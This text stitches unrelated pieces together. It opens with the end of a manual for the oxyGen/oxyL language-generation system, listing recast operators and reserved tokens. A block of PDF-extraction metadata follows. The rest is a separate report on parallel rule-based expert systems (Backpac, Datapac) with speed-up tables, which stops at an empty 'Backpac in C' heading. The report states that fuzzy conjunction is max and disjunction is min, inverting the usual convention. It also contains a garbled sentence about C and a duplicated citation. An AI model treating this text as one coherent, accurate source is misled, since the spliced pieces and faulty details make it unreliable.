*Relative Order Recast.* Returns a copy of \(<\text{AMR}>\) with its \(<\text{role}>\)s renamed as \(<\text{role}>\)-i or \(<\text{role}>+i\) where i is the absolute difference between the node label number of the value of \(<\text{role}>\) and the node label number of \(<\text{AMR}>\). + is used for positive difference and - for negative difference. Obviously, this recast expects that the node labels are positive integers.
Example
\[
((3 / x : a (1 / a) : b (2 / b1) : b (4 / b2)) \langle oi :b
\]
returns \((3 / x : a (1 / a) : b-1 (2 / b1) : b+1 (4 / b2))\)
(<AMR> +< morpheme>)
*Morphology Recast.* Returns a string that is the result of combining <AMR> with <morpheme>. This recast fires the internal morphology handler `oxymorph` which is linked to a user-defined morphology function through the oxyL declaration :MORPH. The form of the <AMR> (i.e. word, wordlist, basicAMR, etc.) and the form of <morpheme> (i.e. word, list of words, even an AMR) is absolutely up to the user-defined morphology function.
Example
: M ORPH (&english-morph @word @morphemes)
(walk +< past)
returns "walked"
4.5 **Reserved Tokens**
Since the oxyL files are compiled into Lisp by a program written in Lisp using supporting Lisp functions, it is important that the oxyGen user shouldn’t redefine any of the variables and functions that are necessary for the proper operation of the system. The following is a list of all the reserved tokens in the oxyGen system.
4.5.1 **Reserved Variables**
*oxycompile-class* *oxycompile-local* *oxycompile-debug* *oxydb-stream* *oxydebug* $this $that
4.5.2 **Reserved Roles**
4.5.3 **Reserved Functions**
oxyL Functions
@this @that oxymain oxymorph @inst @/ (@or @and @x-role @role)
oxyCompile
oxycompile-file load-oxyl-file init-oxycompile oxycompile
print-compiled-grammar remove-oxydebug compile-grammar
compile-grammar-1 compile-grammar-def-recast
compile-grammar-def-rule compile-grammar-main-rule
compile-grammar-rule compile-grammar-set compile-grammar-conds
compile-grammar-conds-eq compile-grammar-conds-neq
compile-grammar-results compile-recast separate-roles amrp
compile-term variable-term local-term reserved-func-term
compiled-reserved-func-term role-term roleseq roleseq-1
roleseq-2 tokens
oxyRun
add-roles normalize-inst del-roles del-roles-1 replace-roles
sub-roles sub-roles-1 sub-roles-cond sub-roles-cond-1
sub-roles-hierarchy sub-roles-h-1 sub-order-role
sub-order-role-node sub-order-role-inode exval exval-1
inval inval-1 valof valof-1 prepare &amrType subamr-roles
permute permute-1 multiply-X-roles get-x-roles del-x-roles
multiply-subamr oxygen oxygen-file
oxyLin
oxylin gls-to-surface gls-to-surface-1 add-on check-size
format-surface format-surface-sentence
oxyDebug
oxydb-open oxydb-close oxydebug &oxydb oxy-pamr oxy-pamr1
oxy-pamr2 oxy-pamr-file
4.5.4 Reserved Strings
"*start-sentence*" "*end-sentence*" "*empty*"
Acknowledgements
This work has been supported by NSA Contract MDA904-96-C-1250 and
NSF PFF/PECASE Award IRI-9629108. I would like to thank members
of the CLIP lab for helpful conversations and advice and especially Bonnie
Dorr, Philip Resnik, David Traum and Amy Weinberg.
Bibliography
|
{"Source-Url": "https://lampsrv02.umiacs.umd.edu/pubs/TechReports/LAMP_079/LAMP_079.pdf", "len_cl100k_base": 13295, "olmocr-version": "0.1.53", "pdf-total-pages": 29, "total-fallback-pages": 0, "total-input-tokens": 136271, "total-output-tokens": 15139, "length": "2e13", "weborganizer": {"__label__adult": 0.0003788471221923828, "__label__art_design": 0.0005612373352050781, "__label__crime_law": 0.0002770423889160156, "__label__education_jobs": 0.0020503997802734375, "__label__entertainment": 0.00022304058074951172, "__label__fashion_beauty": 0.0001480579376220703, "__label__finance_business": 0.00026297569274902344, "__label__food_dining": 0.00027251243591308594, "__label__games": 0.0008068084716796875, "__label__hardware": 0.0005235671997070312, "__label__health": 0.0002639293670654297, "__label__history": 0.0003581047058105469, "__label__home_hobbies": 7.510185241699219e-05, "__label__industrial": 0.00034737586975097656, "__label__literature": 0.00199127197265625, "__label__politics": 0.00032258033752441406, "__label__religion": 0.0005817413330078125, "__label__science_tech": 0.0295867919921875, "__label__social_life": 0.00014150142669677734, "__label__software": 0.0213165283203125, "__label__software_dev": 0.93896484375, "__label__sports_fitness": 0.0002276897430419922, "__label__transportation": 0.0003864765167236328, "__label__travel": 0.00016605854034423828}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 48785, 0.02871]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 48785, 0.38898]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 48785, 0.77909]], "google_gemma-3-12b-it_contains_pii": [[0, 1083, false], [1083, 1246, null], [1246, 3237, null], [3237, 4935, null], [4935, 6921, null], [6921, 9699, null], [9699, 11571, null], [11571, 13562, null], [13562, 15328, null], [15328, 17350, null], [17350, 19498, null], [19498, 21646, null], [21646, 24329, null], [24329, 26244, null], [26244, 27261, null], [27261, 28825, null], [28825, 29540, null], [29540, 29807, null], [29807, 30694, null], [30694, 32237, null], [32237, 33972, null], [33972, 35677, null], [35677, 37526, null], [37526, 39282, null], [39282, 41489, null], [41489, 44304, null], [44304, 45897, null], [45897, 46947, null], [46947, 48785, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1083, true], [1083, 1246, null], [1246, 3237, null], [3237, 4935, null], [4935, 6921, null], [6921, 9699, null], [9699, 11571, null], [11571, 13562, null], [13562, 15328, null], [15328, 17350, null], [17350, 19498, null], [19498, 21646, null], [21646, 24329, null], [24329, 26244, null], [26244, 27261, null], [27261, 28825, null], [28825, 29540, null], [29540, 29807, null], [29807, 30694, null], [30694, 32237, null], [32237, 33972, null], [33972, 35677, null], [35677, 37526, null], [37526, 39282, null], [39282, 41489, null], [41489, 44304, null], [44304, 45897, null], [45897, 46947, null], [46947, 48785, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 48785, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 48785, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 48785, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 48785, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 48785, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 48785, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 48785, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 48785, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 48785, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 48785, null]], "pdf_page_numbers": [[0, 1083, 1], [1083, 1246, 2], [1246, 3237, 3], [3237, 4935, 4], [4935, 6921, 5], [6921, 9699, 6], [9699, 11571, 7], [11571, 13562, 8], [13562, 15328, 9], [15328, 17350, 10], [17350, 19498, 11], [19498, 21646, 12], [21646, 24329, 13], [24329, 26244, 14], [26244, 27261, 15], [27261, 28825, 16], [28825, 29540, 17], [29540, 29807, 18], [29807, 30694, 19], [30694, 32237, 20], [32237, 33972, 21], [33972, 35677, 22], [35677, 37526, 23], [37526, 39282, 24], [39282, 41489, 25], [41489, 44304, 26], [44304, 45897, 27], [45897, 46947, 28], [46947, 48785, 29]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 48785, 0.05742]]}
|
olmocr_science_pdfs
|
2024-12-07
|
2024-12-07
|
1069a7bc53578658ce5fc5abb682109c0f99bf9d
|
1 Summary
The research conducted has dealt with rule-based expert systems. The algorithms that may lead to effective parallelization of them have been investigated. Both the forward and backward chained control paradigms have been investigated in the course of this work. The best computer architecture for the developed and investigated algorithms has been researched.
In the Intelligent Systems Lab at the University of South Florida, two experimental vehicles have been developed to facilitate this research. They are Backpac, a parallel backward chained rule-based reasoning system and Datapac, a parallel forward chained rule-based reasoning system. Both systems have been written in Multilisp [26], a version of Lisp which contains the parallel construct, future. Applying the future function to a function cause the function to become a task parallel to the spawning task. Backpac has also been ported to MUL-T [32], Common Lisp [59], and C. These systems originally run under a simulator developed at MCC [38].
Additionally, Backpac and Datapac have been run on several disparate parallel processors. The machines are an Encore Multimax with 10 processors (and one with 8 processors), the Concert Multiprocessor with 64 processors, and a 32 processor BBN
GP1000. Both the Concert and the GP1000 are switch-based machines. The Multimax has all its processors hung off a common bus. All are shared memory machines, but have different schemes for sharing the memory and different locales for the shared memory. The main results of our investigations come from experiments on the 10 processor Encore and the Concert with partitions of 32 or less processors. We have some initial results from the BBN, but they are not definitive at this time.
Additionally, experiments have been run with a stripped down version of EMYCIN [57]. The original parallel system called EMY [38], has had its performance in simulations described in the literature. Our work with it has been on true parallel processors. The need for load balancing rules and being judicious in the use of and/or parallelism has become apparent from experiments on the Encore and Multimax.
The real-world knowledge bases that were used were a 64-rule knowledge base which could diagnose the cause of fevers and a 99 rule knowledge base on gem identification. In addition, our group generated a number of fictional knowledge bases which contained no real knowledge. Instead they contained large numbers of rules structure in desired formats. The rationale for this was to empirically examine the limits of parallelism in the paradigms.
1.1 Backpac
This system is conceptually very much like EMYCIN. The advantage of it is that the same functionality and spirit does not have to be maintained, as it is not the same. It is also a somewhat simpler model. Questioning the user has been ignored in our studies thus far.
Parallelism can be used in evaluating rules and in evaluating clauses. We found no benefit in evaluating clauses of rules in parallel in general. The biggest benefits from parallelism were in grouping goal rules together and evaluating groups of them as separate tasks. This is especially effective on the Concert, where speed increases as high
as 17 on 20 processors were observed. It is not as effective on the Multimax architecture. In fact, clustering goal rules has a negligible effect for a number of generated knowledge bases on the Multimax.
1.2 Datapac
Any forward chained system must be put into the context of the OPS5, etc. [9] systems. These systems make use of the highly efficient RETE [8] pattern matching algorithm and are widely used. They follow the match, recognize and act control cycle. They are truly data-driven, as changes to working memory drive the system. Parallelism in these systems has been investigated by a number of researchers [41, 14, 11, 13, 14, 35]. The initial results were not encouraging showing less than an order of magnitude speed-up to be possible from the use of parallelism. Later results have both empirically and theoretically shown that more than one order of magnitude, but less than approximately 64 times speed-up may be achieved.
It turns out that in these systems match will take up to 90% of the time. The match component becomes the most important to parallelize and it has shown some definite limitations in that respect. Hence, our examination has taken a somewhat different direction. We have concentrated on the structuring of the rules in attempting to parallelize such a system. In a system which chains there is a hierarchy of rules. That is, some rules must be fired before others can be. Datapac makes use of the hierarchy information in pruning the set of possible rules at any given time. There is no explicit synchronization of the rules in the system, as in the OPS match, recognize and act cycle. It is not as efficient at matching patterns as the RETE algorithm and does not currently allow rules to fire multiple times. Working memory is distributed among processors in this model with a global working memory containing all the information derived. Individual rule processors will only have some needed subset of the overall working knowledge.
It is functionally limited in comparison to OPS systems, which are truly rule-based programming languages. Datapac is simply an expert systems tool (though it lacks most features that a tool would have). The system has been investigated less deeply than the backward chained systems. Order of magnitude speed increases have been observed on the Concert with approximately 100 rules on family relationships.
1.3 The outlook
Some issues that affect research in this area are the availability of real knowledge bases. Many of them are proprietary. The parallel Lisps are in general not very fast. This is certainly true of Multilisp, which does not have a true compiler and BBN's Lisp which does (yet can take 1/2 hour to load a 50 rule knowledge base, which can be loaded in seconds in Common Lisp on SUNS). All the features one would like do not exist in current parallel Lisps, such as spin locks, threads as opposed to tasks, separate memory locations, etc. However, this is changing and will get better in the future. Top Level Lisp and Lucid both have recently come out with parallel Lisps which have good performance and some nice tools.
The parallel machines in existence are not mature and may not provide the kind of performance that they will in the future. Tools to determine what is happening in a parallel program and where the bottlenecks exist are largely non-existent, but extremely important. The C language provides access to most of the existing features of parallel machines and is much faster than most of the parallel Lisps. For this reason it makes a viable vehicle for this type of research [14]. It has proven possible to build expert systems in languages such as C and of course in C, which is why we have begun using a C based system to examine the possibilities with the Backpac system. It is clearly not in the class of Lisp for developing intelligent systems. The parallel Lisps should catch up to C as the sequential ones have.
It is clear that parallelization of expert systems (and one might also claim intelligent
systems) can provide speed increases. In forward chained systems it is important to get around the limitation of so much time being spent in the match phase. The Datapac system does not spend so much time on match. However, it has other characteristics which must be further investigated before one can make a good comparison to OPS based systems. The incorporation of hierarchy information into OPS based systems (such as is done in Datapac) may provide a way of decreasing the percentage of time spent on match. Recent results from IJCAI-89 [41] suggest that saving less state than is done by the RETE algorithm may allow less percentage time to be spent in the match phase, also. Hence, more progress in speed increases in forward chained systems seems possible. At the current time, 64 processors would be the maximum needed in a machine to be used for parallel forward chained expert systems.
For backward-chained systems the picture is maybe less clear than the forward chained systems. The major bottleneck here is working memory, again. Currently, there are no definable limits on the speed-up that may be achieved. We have not made an extensive study of actual knowledge bases, but it is likely that their general structure will provide limits. Instead, we have concentrate on trying to determine general limits based on the structure of knowledge bases. The results have been mixed. It seems that careful attention to load balancing and the structure of knowledge base will allow the tuning of parallelism to provide better performance than we have currently obtained. Also, it is clear that spin locks on working memory are needed. This is an area of great contention, but the time spent modifying it is small. We have not had the capability to effectively implement spin locks in our Multilisp systems. It is also important to partition working memory, when it is possible. However, this is difficult to do in Multilisp (and we believe non-packaged Lisps in general). Lisp will provide different cons cells, but end up pointing them to the same memory location, which of course is where contention can occur.
It seems certain that order of magnitude speed-ups can be observed for some knowl-
edge base structures, if one discounts the fact that most backward chained systems ask the user for information. This is clearly a sequential bottleneck. It also brings the question of how questions will be ordered, as they may come in a jumbled order due to the parallelism. This issue must be addressed for actual systems.
Whether or not two orders of magnitude of speed increase can be achieved with backward chaining is an open question. If we were to speculate, it would be that it can be achieved with large knowledge bases that require little, if any, interaction with the user. In general parallelism can provide some benefits to the speed of expert systems and in the future may provide truly indispensable benefits.
It is too early in the game to definitively specify the best architecture for parallel expert systems. However, one can make some experience based speculations, which follow. The processors should each have some significant amount of local memory. There needs to be some shared memory also. This might be in one location or distributed, it is very unclear which is best. The processors we have been concerned with would be MIMD, capable of doing independent work, which is clearly different from a neural model. Because of the shared working memory, it would seem that some sort of hypercube or switch connected system would be better than a bus-based system. On the Multimax, it was hypothesized (but never definitively shown) that an unexpected amount of bus contention was causing unexpected performance degradation. At this time it would seem that the system need not be concerned with thousands of processors, but hundreds at the maximum. The ability to efficiently implement spin locks will be important.
2 Publications and programs
This section contains a summary of our current publications under the grant and the programs developed. Submitted papers are not included.
(With O. Kim)
(With T. Higgins and C. Eggert)
(With O. Kim)
Kim, O. (1989), A Distributed Parallel Hierarchical Forward Chaining Inference System, Master’s Thesis, Department of Computer Science and Engineering, University of South Florida, Tampa, April.
Programs:
Datapac (Multilisp version), Backpac (C, Multilisp, Mul-T, and Common Lisp versions), Parallel EMYCIN (Common Lisp and Multilisp versions).
3 Details of the results and issues in the USF ISL's parallel expert systems research
3.1 Introduction
Intelligent systems make inferences about a situation based on their internal knowledge. When they contain a lot of knowledge or are working on a big problem, many inferences and/or much searching of knowledge must be done. This can cause a knowledge-based system to be slow. Large knowledge bases currently might be classified as being on the order of about 5000 pieces of knowledge. In the near future NASA, for example, envisions knowledge bases of 20,000, and more, pieces of knowledge for the space station! At the 1988 AAAI spring symposium, the usefulness of medical knowledge bases with 100,000 or more pieces of knowledge was discussed. It is known that the current limits of computing on one processor are being approached and even if the limit wasn't being approached, the desired size of a knowledge base is probably growing faster than raw compute speed. Parallel inference may provide a significant speed increase and allow larger problems to be attacked effectively. This work has been targeted to determine the opportunities and limits for the incorporation of parallelism into rule-based intelligent systems.
NASA is in the process of developing a multiprocessor system to use in the Space Station for intelligent systems tasks. The spaceborne very large scale integrated circuit multiprocessor system (SVMS) will likely be made up of Lisp chips. It will be designed to support Artificial Intelligence tasks. Algorithms for AI and expert systems must be developed to support this and other parallel architectures. More specifically, expert systems for real time applications may be developed on such a machine and systems that would, currently, be too large to run in reasonable time on a uniprocessor may be investigated.
Initially, we will give a summary of our current progress. Then we will discuss our
plan for the continuation of the research.
3.2 Background
On the gross level of detail, independent inferences may be performed in parallel and much of an individual inference may also be performed in parallel (i.e. pattern matching). If the communication overhead of the parallel breakup of the reasoning system is not overwhelming some excellent increases in system speed may be hypothesized. Fine-grained parallelism may also enable speed-ups, if the overhead is kept to a minimum[14].
There are various ways to represent knowledge and perform inference [46]. Here, our work is concerned with a rule-based knowledge representation scheme, which allows fuzzy certainties or beliefs in both the rules and the working set of information that the system contains [17]. The use of fuzzy logic allows the modeling of many intelligent/expert tasks in domains which contain imprecision or uncertainty. The only real effect this has is to require continued work, if we are evaluating clauses in parallel. Even if a value for an or'ed clause is found (unless the value is one) processing must continue until they are all known, since a greater value may be found. A rule-based system may operate in either forward chained (data-driven) or backward chained (goal-driven) mode. Here, we discuss them in the both modes. We discuss the current results of a backward chained expert system, Backpac. Also, experience with Datapac and parallel EMYCIN is expounded upon. Each of the paradigms discussed here has been tried on at least one parallel processor machine.
There is much work going on in parallel Prolog [47]. Certainly, it can provide for effective parallel rule-based systems. Our approach is concerned with paradigms other than those available under Prolog. The Lisp paradigm is reported on here, but we are also looking at systems in C because of the efficiency and low-level features that it offers. In fact, the paradigm which makes use of the future construct as its primary parallel operator is the actual one used. It will be explained in the later discussion on
the languages used.
Our systems have been implemented in Multilisp [26], which is a parallel version of the Lisp programming language. Multilisp has the flavor of the Scheme dialect of Lisp. Multilisp takes Lisp expressions and compiles them into an intermediate representation called Mcodes. At run time it interprets these Mcodes. It also has a run-time library of support routines which are written in Multilisp. Hence, the system is rather slow, especially when compared to a good compiled Lisp. It is very portable code, though. Code compiled on a SUN will (and has) run without change on a multiprocessor (the Concert), since the Mcodes across the two systems are the same. The implementation of the Mcode instructions is, of course, different between the two machines. In fact the Mcode versions of a program will run on any machine which has the same version of the Multilisp system.
Multilisp [27] has one primary parallel operator, which we will briefly describe. A function may be future'd which means to declare it to run in parallel. An example use of the construct is
\[(\text{setq } \text{ex } (\text{future } (+ 2 3)))\].
The future construct immediately returns a future value for ex and spawns a task to evaluate \((+ 2 3)\). Now ex may be put in lists or manipulated in any manner which does not require an actual value. When an actual value is needed the task requiring it is suspended until the value is determined, unless the future has previously resolved to the necessary value, in which case operation continues normally. This powerful construct is the basis used to provide parallelism in the system discussed here. Semaphores are available to protect shared variables.
MUL-T [32] is a compiled Lisp which runs on the Encore Multimax. It has an environment which makes it look very much like Multilisp. In this environment, most Multilisp constructs are available. Most importantly for this work, the future construct for parallelism is available, as are semaphores. Since code in MUL-T can be compiled,
it provides significantly faster execution times than does Multilisp.
Backpac and Datapac have been tested on the Concert multiprocessor system and the Encore Multimax [29, 23]. The Concert is a multiple instruction, multiple data machine (MIMD), which may be configured for up to 64 processors in the version of it we have used. The most processors actually used in this study are 31. The Concert consists of eight clusters each cluster having eight MC68000 processors, which have a half a megabyte of memory on board. The clusters are connected by a crossbar switch. There are eight megabytes of 16 way interleaved memory shared memory. All memory may be accessed by all the processors. However, we do not explicitly have non-local processors access another's local memory.
The Multimax had 10 processors in the configuration at USF. Five processor boards are in it, each with 2 processors. The machine may have up to 20 processors (10 boards). It is a shared memory machine with 32 megabytes of shared memory in this configuration. In addition each processor has a 64K cache local to it, which only it may access. The processors share a common bus which has 100 megabit peak throughput. Both Multilisp and MUL-T are available on the Multimax.
The basis for all speed-up comparisons on the Concert and Multimax is the following. The best sequential version of the developed system is run on one processor and its performance is compared with the best parallel version running on some specified number of processors. We do not time the initial loading and set up of the knowledge base in either the sequential or parallel version. Only the process of inferencing is timed.
3.3 Backpac
Backpac is a rule-based expert system which can diagnose diseases which cause fevers to be evident, or identify rocks or diagnose problems with four-stroke piston-driven car engines. These problems are attacked with separate knowledge bases. They make up our suite of real-world knowledge bases. While the domains are quite different, they can be
loosely described as diagnostic in nature. The system chains backward from goals in its reasoning process. Backpac allows the user to enter fuzzy certainties to its queries. The system paradigm is that of a classification or diagnostic expert system. It is implemented in Multilisp and has been re-implemented in MUL-T. Backpac is implemented in such a manner that it can run in Common Lisp [59] with parallelism functions removed. It in fact has run on a Symbolics Lisp machine in common Lisp. This is important with the advent of parallel common Lisps from Lucid, Franz, and Top Level among others.
This effort at parallelizing rule-based expert systems differs from others [45, 38] in the following manner. Rather than parallelizing a match algorithm such as Rete [8] in an existing (in this case forward-chained system) or parallelizing an existing system, Backpac has been built from the start with parallel inferencing as a goal of its operation. One important issue this work has been aimed at, is to discover how much speed-up might be available in a rule-based backward-chained parallel reasoning system and what the limiting constraints are.
The system itself is simpler and more limited than one which uses Rete (or some other match algorithm in a match, recognize and act cycle type of production system). There are two versions of Backpac, one which makes some use of variables and the current model that we report on which does not. In this system a rule's premise is examined only once and pattern matched at that time. It is intended that under the variable version of the system several instantiations of the rule may be fired, but only at the time it is examined. Hence, minimal state information is saved. Backpac is not as general a tool as an OPS5-based system, but it is still capable of being used to solve interesting problems at the cost of more burden on the knowledge engineer.
Rules in the system are defined by Lisp functions. They may contain any level of the nested conjunctives and and or. Negation is also available. Special purpose functions can be added and some comparators exist. The rules come in two types, goal and others. Each clause in the rule is defined in a function in which it is associated with a string to
be used to ask the system user questions. A clause can be a function such as \texttt{(greaterp age 15)}, where the value of age being larger than 15 is determined to be true or false. This is the only place that any variable facility is currently allowed in the version of Backpac (V.3).
Originally, Backpac was implemented in a simulator which ran on a VAX [19]. Unfortunately, it did not take into account memory contention or bus contention. Small granularity tasks tended to provide speed increases in the system. Also, until we made some optimizations the granularity of some tasks was larger than it should have been. The fallout of this is that we originally did much more in parallel than is done currently.
There is only one level of parallelism in Backpac. Every goal rule, a rule which has no successor and therefore provides a conclusion for the system, can be run in parallel. Alternatively, they may be broken into groups of goal rules and these may be run as one process. This high-level is the only one in which parallelism is used. If we attempt to determine the values of clauses in parallel for example, the system will slow down because the task granularity is not large enough in general.
Our algorithm for breaking goal rules up into groups is naive at this time. We simply partition them into the first available group of the desired size as they are encountered. This can lead to uneven task size.
There is a question ordering issue when the user is queried interactively. The system user will be processing questions sequentially, but they can arrive in an unordered manner. The questioning process must be able to order them so that the user perceives lines of questioning. In the parallel tests reported here values for the clauses are pre-set in working memory.
Backpac uses fuzzy modus ponens, as defined in [1], to reason with uncertain information. Conjunction is represented by \texttt{max} and disjunction is represented by \texttt{min}. Multiple pieces of evidence are combined as in the Fess expert system [17]. The evidence accrues into a stronger belief. In this area the only effect of fuzziness on parallelizing the
system is that a non-zero predicate in an or does not necessarily mean do not evaluate the other ones. However, this only occurs if we examine clauses in parallel, which we are not currently doing.
3.4 Parallel reasoning
The following is a description of how Backpac's flow of control proceeds. Initially, all the bottom level goals are partitioned into groups. The user may set the size of the groups. The group size may be as small as one, which means each individual goal rule is fired by a separate process. These processes will also be responsible for doing any chaining which may be necessary.
At the largest level all the goal rules may be in one group. This will provide sequential execution of the rules with some added overhead, as one task to do them (separate from the control thread) is spawned. Alternatively, any number of intermediate group sizes may be created, each of which will correspond to a process.
Working memory is a shared data structure among processes. Values of clauses are represented on property lists. There is no difficulty with multiple readers and there is only one case in which multiple writers might collide. It is described in the following.
It may be the case that several rules from different process groups will require the same rule to be fired in order to determine a clause value. A semaphore is associated with clauses. When a rule is fired to determine a clause value the semaphore is set. This prevents other rules from firing. Those suspended can get the value from working memory after the rule has been fired and the semaphore released.
After all goal rules have provided a belief value for their consequents, the system will present all goals which have a belief value associated with them which is greater than a pre-set threshold. These values are returned by the goal rule and kept in a list.
3.5 Experimental results
We will now present the results from our tests of the Backpac system with high-level parallelism implemented. The results from Concert and the Multimax will be discussed separately. First the results from Concert will be discussed. The results are summarized in Table 1.
The best results from the four knowledge bases run on the Concert are reported here. In Backpac, a 17-fold increase in speed was observed with the use of 20 processors. This occurred on a knowledge base of 800 rules with them all on the goal level. This knowledge base could be viewed as a set of control rules, where periodic actions are taken based on some time clock. Using the knowledge base on fevers with the use of 12 processors by assigning goal rule clusters to each processor, the speed-up was just over 10 times. In a 400 rule knowledge base with 50 goal rules and 8 levels a speed increase of just over 9 was observed with the use of 10 processors.
From the table, it is clear without clustering goal rules onto processors, there is very little speed improvement. There are a set of lights on the Concert which indicate switch contention. In the case of no rule clustering they show a lot of contention. It is clear that as we use use more clusters of rules, performance will increase to a point and then adding clusters will provide a degradation of performance. This is due to the fact that adding another cluster of rules also adds a process to the system. The process then will make memory and switch requests, which cause contention. The contention becomes a more important issue than the task granularity. Also, as more clusters of goal rules are assigned to a processor the size of the cluster will go down, since the number of goal rules remains constant. Hence, task granularity is reduced in addition to the increase in contention.
On the Encore Multimax our speed-ups are less impressive. However, we do have less processors which is one factor. None of our efficiencies on the Concert is above 90%\(^1\).
\(^1\)Efficiency is defined as the amount of speed increase over the number of processors used.
<table>
<thead>
<tr>
<th>Knowledge Base</th>
<th>Speed up</th>
<th>Number of goal processes</th>
</tr>
</thead>
<tbody>
<tr>
<td>fevers</td>
<td>10.4</td>
<td>12</td>
</tr>
<tr>
<td>fevers</td>
<td>8.8</td>
<td>10</td>
</tr>
<tr>
<td>fevers</td>
<td>6.4</td>
<td>7</td>
</tr>
<tr>
<td>fevers</td>
<td>9.7</td>
<td>20</td>
</tr>
<tr>
<td>fevers</td>
<td>3.5</td>
<td>24</td>
</tr>
<tr>
<td>fevers</td>
<td>1.9</td>
<td>31</td>
</tr>
<tr>
<td>fevers</td>
<td>1.4</td>
<td>60</td>
</tr>
<tr>
<td>gems</td>
<td>5.16</td>
<td>10</td>
</tr>
<tr>
<td>gems</td>
<td>4.2</td>
<td>7</td>
</tr>
<tr>
<td>gems</td>
<td>2.9</td>
<td>11</td>
</tr>
<tr>
<td>400 rules, 8 levels</td>
<td>9.1</td>
<td>10</td>
</tr>
<tr>
<td>400 rules, 8 levels</td>
<td>8.1</td>
<td>12</td>
</tr>
<tr>
<td>400 rules, 8 levels</td>
<td>6.0</td>
<td>15</td>
</tr>
<tr>
<td>400 rules, 8 levels</td>
<td>2.3</td>
<td>30</td>
</tr>
<tr>
<td>400 rules, 8 levels</td>
<td>1.9</td>
<td>2</td>
</tr>
<tr>
<td>800 rules, 1 level</td>
<td>17.0</td>
<td>20</td>
</tr>
<tr>
<td>800 rules, 1 level</td>
<td>16.2</td>
<td>30</td>
</tr>
</tbody>
</table>
Table 1: Results from the Concert multiprocessor with 31 available processors.
Hence, 8+ times speed increase is about the maximum that we would expect from the Multimax.
The best results will be highlighted here and then we will discuss the overall flavor of these results. With the fevers knowledge base, a speed-up of 5.5 times with 8 processors was observed. This was the best result with a real-world knowledge base.
Some better results were observed with the use of generated knowledge bases. All of the generated knowledge bases have regularity in their structure. An 800 rule knowledge base made up of 8 levels of chaining and 100 rules per level was observed to have a little bit over a 7 times speed-up. This is with the use of 10 processors. Another knowledge base that had a good speed-up was the 400 rule knowledge base, which consisted of 8 levels with 50 rules per level. It provided a speed-up of slightly less than 6 1/2 times, when run on 10 processors. The rest of the results are summarized in Table 2.
It can be seen that chunking rules into groups on the goal level was done. The idea of increasing granularity and decreasing contention for memory and the shared bus seems reasonable. However, it did not provide the benefits hoped for. Apparently, having more available small tasks works better in some cases. This is despite the clearly increased overhead of having more tasks with a lower granularity size competing for resources.
3.6 Backpac in Mul-T
The Mul-T version of Backpac makes use of arrays for the types of knowledge representation that originally used property lists. This and the compiled nature of it makes the system very fast. Larger knowledge bases can and have been used under Mul-T. The performance of the fevers knowledge base is less since the granularity of the tasks has gotten quite small. To add processors causes a distinct degradation of performance. The multi-level knowledge bases prove to have little contention and get quite good performance. Table 3 contains the results of tests in MUL-T. All tests have just goal level parallelism implemented.
<table>
<thead>
<tr>
<th>Knowledge Base</th>
<th>Max. speed up</th>
<th>Number of processors</th>
<th>Rule clusters</th>
</tr>
</thead>
<tbody>
<tr>
<td>fevers</td>
<td>3.8</td>
<td>7</td>
<td>N/A</td>
</tr>
<tr>
<td>fevers</td>
<td>5.13</td>
<td>8</td>
<td>8</td>
</tr>
<tr>
<td>gems</td>
<td>3.095</td>
<td>9</td>
<td>N/A</td>
</tr>
<tr>
<td>gems</td>
<td>3.7</td>
<td>7</td>
<td>7</td>
</tr>
<tr>
<td>200 rules, 8 levels</td>
<td>5.24</td>
<td>9</td>
<td>N/A</td>
</tr>
<tr>
<td>200 rules, 8 levels</td>
<td>3.29</td>
<td>8</td>
<td>8</td>
</tr>
<tr>
<td>800 rules, 8 levels</td>
<td>5.14</td>
<td>10</td>
<td>10</td>
</tr>
<tr>
<td>800 rules, 8 levels</td>
<td>7.27</td>
<td>10</td>
<td>N/A</td>
</tr>
<tr>
<td>200 rules, 4 levels</td>
<td>5.53</td>
<td>9</td>
<td>N/A</td>
</tr>
<tr>
<td>200 rules, 4 levels</td>
<td>5.11</td>
<td>10</td>
<td>10</td>
</tr>
<tr>
<td>200 rules, 4 levels</td>
<td>3.59</td>
<td>8</td>
<td>7</td>
</tr>
<tr>
<td>400 rules, 8 levels</td>
<td>6.47</td>
<td>10</td>
<td>N/A</td>
</tr>
<tr>
<td>400 rules, 8 levels</td>
<td>5.09</td>
<td>10</td>
<td>10</td>
</tr>
</tbody>
</table>
Table 2: Results from the Encore Multimax.
<table>
<thead>
<tr>
<th>Knowledge Base</th>
<th>Max. speed up</th>
<th>Number of processors</th>
<th>Rule clusters</th>
</tr>
</thead>
<tbody>
<tr>
<td>fevers</td>
<td>3.43</td>
<td>6</td>
<td>N/A</td>
</tr>
<tr>
<td>1200 rules</td>
<td>5.24</td>
<td>9</td>
<td>N/A</td>
</tr>
<tr>
<td>1280 rules (2 levels)</td>
<td>6.31</td>
<td>10</td>
<td>N/A</td>
</tr>
<tr>
<td>400 rules (8 levels)</td>
<td>7.25</td>
<td>9</td>
<td>N/A</td>
</tr>
<tr>
<td>2560 rules (2 levels)</td>
<td>7.25</td>
<td>9</td>
<td>N/A</td>
</tr>
</tbody>
</table>
Table 3: Results from the Encore Multimax under MulT.
It is our intent to add more complex variable handling and pattern matching features to Backpac. This will up the task granularity and provide a more powerful system for experiments. One thing has become clear. The language, machine and operating system currently have a strong effect on results and all results must be looked at in the overall context.
3.7 Backpac in C
